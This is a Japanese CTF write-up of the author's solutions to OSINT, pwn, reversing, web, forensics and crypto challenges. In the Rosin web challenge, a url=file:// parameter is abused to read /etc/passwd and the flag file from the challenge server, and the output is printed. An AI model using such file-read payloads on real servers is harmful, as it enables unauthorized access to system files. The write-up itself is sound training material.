T3N4CI0US CTF - Escape Writeup

この大会は2022/8/10 13:00(JST)~2022/8/12 13:00(JST)に開催されました。
今回もチームで参戦。結果は3100点で557チーム中35位でした。
この大会の問題は答えが定まらず、CTFとしてはイマイチのものでした。
自分で解けた問題をWriteupとして書いておきます。

find me (MISC 100)

問題には以下のように書いてあるだけ。あとでURLを答えることが問題に追加される。

hello pls find Dolpari

Discordに入り、Dolpariを探すと見つけることができる。プロフィールにはこう書いてある。

github - https://github.com/dolpari/dolpari
instagram - https://www.instagram.com/dolpari_05/?hl=ko
tistory -
https://dolpari-is-come.tistory.com/
facebook -https://www.facebook.com/ppapesib

いろいろフラグの投入を試した結果、何とかフラグを当てることができた。

T3N4CI0US{https://www.instagram.com/dolpari_05/}

Find us(200)

問題にはこう書いてある。

Hi, can you find us?
Go into a site somewhere and look for us!

ctftimeに開催チームのURLが書いてある。そのページのメニューにメンバ紹介のあるページのURLがあり、そのURLがフラグだった。

T3N4CI0US{https://t3n4ci0us.kr/member/}

Check Check Check (Pwnable 50)

ncで接続すると、/bin/shが起動されているようなので、コマンドを実行するだけ。

$ nc 34.64.203.138 10009
ls -l
total 56
lrwxrwxrwx   1 root root    7 Aug  1 13:22 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
drwxr-xr-x   5 root root  340 Aug  9 22:18 dev
drwxr-xr-x   1 root root 4096 Aug  9 22:18 etc
drwxr-xr-x   1 root root 4096 Aug  9 06:59 home
lrwxrwxrwx   1 root root    7 Aug  1 13:22 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Aug  1 13:22 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Aug  1 13:22 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Aug  1 13:22 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Aug  1 13:22 media
drwxr-xr-x   2 root root 4096 Aug  1 13:22 mnt
drwxr-xr-x   2 root root 4096 Aug  1 13:22 opt
dr-xr-xr-x 357 root root    0 Aug  9 22:18 proc
drwx------   2 root root 4096 Aug  1 13:25 root
drwxr-xr-x   5 root root 4096 Aug  1 13:25 run
lrwxrwxrwx   1 root root    8 Aug  1 13:22 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Aug  1 13:22 srv
dr-xr-xr-x  13 root root    0 Aug  9 22:18 sys
drwxrwxrwt   1 root root 4096 Aug  9 06:59 tmp
drwxr-xr-x   1 root root 4096 Aug  1 13:22 usr
drwxr-xr-x   1 root root 4096 Aug  1 13:25 var
cd home
ls -l
total 8
drwxr-xr-x 1 root root 4096 Aug  9 22:18 ctf
cd ctf
ls -l
total 24
-rwxrwxrwx 1 ctf root    38 Aug  9 06:58 flag
-r-xrwx--- 1 ctf root 16848 Aug  9 06:58 prob
cat flag
T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}
T3N4CI0US{ZG9yb3Jvbmc/ZG9uZz9kaW5nPw}

WHISEN (Reversing 100)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  char local_58;
  undefined local_57;
  undefined local_56;
  undefined local_55;
  undefined local_54;
  undefined local_53;
  undefined local_52;
  undefined local_51;
  undefined local_50;
  undefined local_4f;
  undefined local_4e;
  undefined local_4d;
  undefined local_4c;
  undefined local_4b;
  undefined local_4a;
  undefined local_49;
  undefined local_48;
  undefined local_47;
  undefined local_46;
  undefined local_45;
  undefined local_44;
  undefined local_43;
  undefined local_42;
  undefined local_41;
  undefined local_40;
  char *local_30;
  undefined local_22;
  undefined local_21;
  undefined local_20;
  undefined local_1f;
  undefined local_1e;
  undefined local_1d;
  undefined local_1c;
  undefined local_1b;
  undefined local_1a;
  undefined local_19;
  undefined local_18;
  undefined local_17;
  undefined local_16;
  undefined local_15;
  undefined local_14;
  undefined local_13;
  undefined local_12;
  undefined local_11;
  undefined local_10;
  undefined local_f;
  undefined local_e;
  undefined local_d;
  undefined local_c;
  undefined local_b;
  undefined local_a;
  char local_9;
  
  local_9 = 'T';
  local_a = 0x33;
  local_b = 0x6b;
  local_c = 0x33;
  local_d = 0x30;
  local_e = 0x54;
  local_f = 0x4e;
  local_10 = 0x30;
  local_11 = 99;
  local_12 = 0x72;
  local_13 = 0x72;
  local_14 = 0x34;
  local_15 = 0x5f;
  local_16 = 0x53;
  local_17 = 0x7b;
  local_18 = 0x43;
  local_19 = 0x72;
  local_1a = 0x55;
  local_1b = 0x66;
  local_1c = 0x49;
  local_1d = 0x68;
  local_1e = 0x30;
  local_1f = 0x5f;
  local_20 = 0x30;
  local_21 = 0x34;
  local_22 = 0x7d;
  local_30 = (char *)malloc(0x1a);
  printf("Enter the Password : ");
  __isoc99_scanf(&DAT_0010201e,local_30);
  local_58 = local_9;
  local_57 = local_c;
  local_56 = local_f;
  local_55 = local_14;
  local_54 = local_18;
  local_53 = local_1c;
  local_52 = local_1e;
  local_51 = local_1a;
  local_50 = local_16;
  local_4f = local_17;
  local_4e = local_12;
  local_4d = local_10;
  local_4c = local_d;
  local_4b = local_e;
  local_4a = local_1f;
  local_49 = local_1b;
  local_48 = local_20;
  local_47 = local_13;
  local_46 = local_15;
  local_45 = local_1d;
  local_44 = local_14;
  local_43 = local_11;
  local_42 = local_b;
  local_41 = local_a;
  local_40 = local_19;
  iVar1 = strncmp(&local_58,local_30,0x1a);
  if (iVar1 == 0) {
    printf("Success! You found the flag!\n%s\n",&local_58);
  }
  else {
    puts("Incorrect Password !");
  }
  return 0;
}

local_9~local_22で各文字が設定されており、設定後順番を変えてメモリ配置している。順番変更後の文字を並べる。

>>> chr(0x33)
'3'
>>> chr(0x4e)
'N'
>>> chr(0x34)
'4'
>>> chr(0x43)
'C'
>>> chr(0x49)
'I'
>>> chr(0x30)
'0'
>>> chr(0x55)
'U'
>>> chr(0x53)
'S'
>>> chr(0x7b)
'{'
>>> chr(0x72)
'r'
>>> chr(0x30)
'0'
>>> chr(0x30)
'0'
>>> chr(0x54)
'T'
>>> chr(0x5f)
'_'
>>> chr(0x66)
'f'
>>> chr(0x30)
'0'
>>> chr(0x72)
'r'
>>> chr(0x5f)
'_'
>>> chr(0x68)
'h'
>>> chr(0x34)
'4'
>>> chr(99)
'c'
>>> chr(0x6b)
'k'
>>> chr(0x33)
'3'
>>> chr(0x72)
'r'
T3N4CI0US{r00T_f0r_h4ck3r}

Swood (Reversing 250)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  int iVar1;
  undefined8 uVar2;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined local_10;
  
  if (param_1 < 2) {
    printf("Usage: %s <string>\n",*param_2);
    uVar2 = 1;
  }
  else {
    local_38 = 0x6565336139336164;
    local_30 = 0x6430623462366535;
    local_28 = 0x6665666235353233;
    local_20 = 0x3039383130363539;
    local_18 = 0x3930373038646661;
    local_10 = 0;
    iVar1 = strncmp((char *)&local_38,(char *)param_2[1],0x28);
    if (iVar1 == 0) {
      puts("Correect password!");
      uVar2 = 0;
    }
    else {
      puts("Wrong password!");
      uVar2 = 1;
    }
  }
  return uVar2;
}

local_38以降の数値を文字列にして結合すればよい。

>>> 0x6565336139336164.to_bytes(8, byteorder="little")
b'da39a3ee'
>>> 0x6430623462366535.to_bytes(8, byteorder="little")
b'5e6b4b0d'
>>> 0x6665666235353233.to_bytes(8, byteorder="little")
b'3255bfef'
>>> 0x3039383130363539.to_bytes(8, byteorder="little")
b'95601890'
>>> 0x3930373038646661.to_bytes(8, byteorder="little")
b'afd80709'
da39a3ee5e6b4b0d3255bfef95601890afd80709
T3N4CI0US{da39a3ee5e6b4b0d3255bfef95601890afd80709}

VISKA (Web 50)

HTMLソースを見ると、以下のコメントがある。

<!-- 
Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0=
-->

何重にもbase64エンコードされているので、繰り返しデコードする。

#!/usr/bin/env python3
from base64 import *

data = b'Vm0wd2QyUXlVWGxXYTFwT1ZsZFNXRll3Wkc5V01WbDNXa2M1VjAxV2JETlhhMXBQVm14S2MyTkljRmROYWxaeVZtcEtTMU5IVmtkWGJHUlRUVEZLVVZadGVGWmxSbGw0V2toR1VtSlZXbGhXYWtaTFUxWmFkR05GWkZwV01VcFlWVzAxVDFkSFNrZGpSVGxhWWxSR2RsWkdXbUZqYkhCSlkwZDRVMkV6UWxwV1ZFb3dZVEpHVjFOdVVsWmhlbXhoVm1wT1UyRkdVbGhsUjBacVlrWmFlVnBGV2xOVWJGcFpVV3h3VjFaNlJYZFdha1phWlZaT2NtRkhhRk5pVjJodlZtMXdUMVV5UmtkWGJGcFlZbFZhVkZSV2FFTlRiR3QzV2tSU1ZrMXJWalZhUkU1M1ZqRktSbGR0YUZwaGEzQkhXbFZhVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEpXY0ZsWmJGWmhWbFpXY1ZKdFJsUlNiWFF6Vm14U1YxWXdNVVZTYTJoWFRWWktSRll3V2xwbGJGWjBZVVprYUdFeGNHaFhiRlpoWVRKT2MxcElUbWhTTW1oeldXeG9iMWRzV1hoWGJFNVRUVmQ0VjFSVmFHOWhSVEI1WVVac1dtRXhWWGhXTUZwaFpFZE9ObEp0ZUdsU2JrSktWa1phVjJFeVJrZFRXR2hZWVd0S2FGWnNXbUZqYkZweFVWaG9hbFpzY0hoV1IzaHJZVWRGZUdOR1VsaGlSbkJvVmtSS1RtVkdjRWxWYldoVFZrWmFVRlpHVmxka01XeFhWMjVPVm1Fd05YQlVWbFpYVGtaVmVXUkhkRnBXYXpWSVZUSTFSMVpXV2taalNGcGFUVlp3YUZwRlZYaFdWbEp5VGxkc1UySnJSak5XTVZKUFpERlplVkpyWkZoaWF6VnhWVEJrTkZkR2JITmhSVTVZVW14d2VGVldhRzlXUmtsM1YydGFWMUl6YUdoV2FrWkxWMVpHY21KR2FGaFRSVXBOVm10U1IxTXlVa2RVYmtwWVlYcHNXRmxZY0ZkV1ZscFlaVVprVjJGNlJsTlZSbEYzVUZFOVBRPT0='

while True:
    try:
        data = b64decode(data)
    except:
        break

flag = data.decode()
print(flag)
T3N4CI0US{d79fa6_2bc60_db3_5_da5512c3d_8896b7_0_2796d6_0cd}

cigarette (Web 250)

$ curl -v http://34.125.194.164:49153/
*   Trying 34.125.194.164:49153...
* TCP_NODELAY set
* Connected to 34.125.194.164 (34.125.194.164) port 49153 (#0)
> GET / HTTP/1.1
> Host: 34.125.194.164:49153
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Aug 2022 14:30:05 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Key: T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}
< Content-Length: 44
< Content-Type: text/html; charset=UTF-8
< 
Flag is not here!
* Connection #0 to host 34.125.194.164 left intact
<!-- It's not here! :) -->

レスポンスヘッダのKeyにフラグが設定されていた。

T3N4CI0US{bc298e7_daf7_b2d4b347f67_c_56e9d_de34152_9ad99b1_7eb78}

Rosin (Web 350)

$ curl http://34.125.194.164:49157/
<!-- Whisper to tell you, flag is in flag.txt under the root directory -->

ブラウザでhttp://34.125.194.164:49157/にアクセスすると、以下のページにリダイレクトされた。

http://34.125.194.164:49157/index.php?url=https://google.com

URLに"file://"形式で指定してローカルファイルにアクセスすることができるか確認してみる。

$ curl http://34.125.194.164:49157/index.php?url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
<!-- Whisper to tell you, flag is in flag.txt under the root directory -->

$ curl http://34.125.194.164:49157/index.php?url=file:///flag/flag.txt
T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}<!-- Whisper to tell you, flag is in flag.txt under the root directory -->
T3N4CI0US{aa84_c1372_0a89de3c3_f0_1316340332a_2a055c065}

yhparg (Forensic 200)

1.pngと2.pngのRGBの差があるピクセルの2.pngのRの色を文字にして連結する。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('1.png').convert('RGB')
img2 = Image.open('2.png').convert('RGB')
w, h = img1.size

flag = ''
for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        if r1 != r2 or g1 != g2 or b1 != b2:
            flag += chr(r2)

print(flag)
T3N4CI0US{H1D1N6_837W33N_1M463_15_C001_R1GHT?}

password (Forensic 250)

TweakPNGで確認すると、たくさんのチャンクのCRCが間違っている。一部を見ると、CRCがprintableな文字になっているので、結合する。さらに試したところ、base58になっているようだったので、デコードすると、フラグになる。

#!/usr/bin/env python3
import struct
import binascii
import base58

with open('Password.png', 'rb') as f:
    data = f.read()

enc = b''
index = 8
while index < len(data):
    size = struct.unpack('>I', data[index:index+4])[0]
    index += 4
    name = data[index:index+4]
    index += 4
    body = data[index:index+size]
    index += size
    orig_crc = data[index:index+4]
    index += 4
    crc = struct.pack('!I', binascii.crc32(name + body))
    if orig_crc != crc:
        enc += orig_crc

flag = base58.b58decode(enc).decode()
print(flag)
T3N4CI0US{Is_escape_V4ry_Fun}

french (Crypto 100)

フランスの暗号で有名なVigenere暗号と推測。https://www.dcode.fr/vigenere-cipherで鍵を調整しながら復号する。鍵は"CLE"で復号できた。

T3N4CI0US{CrypToVerryEasy}

これでは通らない。単語の間に"_"を入れてみると通った。

T3N4CI0US{CrypTo_Verry_Easy}

Before Porta arrives at the port! (Crypto 200)

モールス信号をhttps://www.boxentriq.com/code-breaking/morse-codeでデコードする。

3N4CI0US#OJADLD_U_PYP_V_EFGZXZX#

"#"の外は先頭にあるはずの"T"を除き、フラグの形式になっている。問題文からPorta Cipherと推測し、"#"で挟まれた文字列をhttps://www.dcode.fr/porta-cipherで復号する。

CRYPTO_I_HAD_A_PROBLEM
T3N4CI0US{CRYPTO_I_HAD_A_PROBLEM}

ro (Crypto 200)

問題文にはこう書いてある。

[ W E = 360 ]
   [ S N S = 360 ]
   [ N E W S = ? ]

方角を角度として足し算すればよい。

WE = 270°+90°=360°
SNS = 180°+0°+180°=360°
NEWS = 0°+90°+270°+180°=540°
T3N4CI0US{540}